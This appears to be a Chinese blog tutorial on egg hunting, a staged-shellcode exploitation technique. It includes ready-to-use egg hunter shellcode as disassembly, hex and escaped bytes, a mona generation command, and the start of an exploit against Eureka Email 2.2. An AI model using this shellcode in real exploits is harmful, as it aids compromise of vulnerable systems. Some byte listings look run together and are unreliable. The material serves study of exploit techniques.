寻找复活节彩蛋egg huting 学习

寻蛋技术是 Staged shellcode 技术的一种

寻蛋 是利用一小段代码 来在内存中寻找真正的(代码尺寸较大的)shellcode(the  egg)的技术。

也就是是   利用好一小段代码被执行,然后找到真正的shellcode并且执行

3个前置条件:

1)必须能够跳转(jmp call push/ret)并且执行一些shellcode。这时有效的缓冲区内存可以相对小一些,以为这时只需要保存那些寻蛋代码(egg hunter)

寻蛋代码必须被防止在预先设定的位置,这样才能控制代码可靠地跳转到寻蛋代码然后执行寻蛋代码

2)最终要执行shellcode必须在内存的某个位置(堆,栈)存在

3)必须最终要执行的shellcode的前面放置 唯一标识。最初执行的shellcode(寻蛋代码)将逐字节的搜寻内存来寻找这个标识。

找到后jmp call 指令开始执行跟在标志后的代码。

遇到问题: 1 一段时间 CPU 占用   2经过很长时间,shellcode才能开始执行


技术基础:

1)用到的标识是唯一的(通常前4个字节来定义标识,然后把两个连续的标识8字节放在真正的shellcode前面)

2)对于特定的exploit  ,  需要测试哪个内存搜索技术可以工作(eg: NTAccessCheckAndAuditAlarm)

3)  不同的技术需要不同大小的存储空间来存储寻蛋代码:

1 利用SEH 的寻蛋 需要大约60字节,

00401580 >   /EB 21            jmp Xtestexpl.004015A3
00401582     |59               pop ecx
00401583     |B8 70616E64      mov eax,0x646E6170
00401588     |51               push ecx
00401589     |6A FF            push -0x1
0040158B     |33DB             xor ebx,ebx
0040158D     |64:8923          mov dword ptr fs:[ebx],esp
00401590     |6A 02            push 0x2
00401592     |59               pop ecx
00401593     |8BFB             mov edi,ebx
00401595     |F3:AF            repe scas dword ptr es:[edi]
00401597     |75 07            jnz Xtestexpl.004015A0
00401599     |FFE7             jmp edi
0040159B     |66:81CB FF0F     or bx,0xFFF
004015A0     |43               inc ebx
004015A1    ^|EB ED            jmp Xtestexpl.00401590
004015A3     \E8 DAFFFFFF      call testexpl.00401582
004015A8      6A 0C            push 0xC
004015AA      59               pop ecx
004015AB      8B040C           mov eax,dword ptr ss:[esp+ecx]
004015AE      B1 B8            mov cl,0xB8
004015B0      830408 06        add dword ptr ds:[eax+ecx],0x6
004015B4      58               pop eax
004015B5      83C4 10          add esp,0x10
004015B8      50               push eax
004015B9      33C0             xor eax,eax
004015BB      C3               retn


EB 21 59 B8 70 61 6E 64 51 6A FF 33 DB 64 89 23 6A 02 59 8B FB F3 AF 75 07 FF E7 66 81 CB FF 0F
43 EB ED E8 DA FF FF FF 6A 0C 59 8B 04 0C B1 B8 83 04 08 06 58 83 C4 10 50 33 C0 C3



2 利用IsBadReadPtr 需要37字节 ,

3 NtDisplayString 需要32字节(NT核心) 

4 NTAccessCheckAndAuditAlarm寻蛋

L000:
  or dx,0xFFF
L001:
  inc edx
  push edx
  push 0x43                 ;这里0x43则表示使用NtDisplayString 0x2 表示NtAccessCheckAndAuditAlarm
  pop eax
  int 0x2E
  cmp al,0x5                ;check 0xc0000005 == ACCESS_VIOLATION
  pop edx
  je L000
  mov eax,0x50905090        ;this is the egg
  mov edi,edx
  scas dword ptr es:[edi]
  jnz L001
  scas dword ptr es:[edi]
  jnz L001
  jmp edi
66 81 CA FF 0F 42 52 6A 0258 CD 2E 3C 05 5A 74 EF B8 70 61 6e 64 8B FA AF 75 EA AF 75 E7 FF E7
\x66\x81\xCA\xFF\x0F\x42\x52\x6A \x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 \x70\x61\x6e\x64\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7

70 61 6E 64   ->   pand


具体采用哪种寻蛋方案 主要取决于: 1 运行寻蛋代码所需要的 缓冲区大小    2你需要测试选用的搜索内存的技术是否能在您的机器上和你要利用的exploit上正常工作


什么情况下用这种技术呢?   1)我们插入shellcode  某一部分变了,2)不知道要NOP多少字节才放入shellcode


!mona egg -t pand

产生  egg hunter code


举个例子: eureka-email   Version 2.2

pop3简介:  http://baike.baidu.com/view/5404.htm?fr=aladdin#3_7

软件  下载地址:  http://www.eureka-email.com/VersionHistory.html


配置如下:


普通的POC (没有任何阻力的情况下):

use Socket;

#Log data, 条目 109
#地址=7DCFD8E4
#消
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值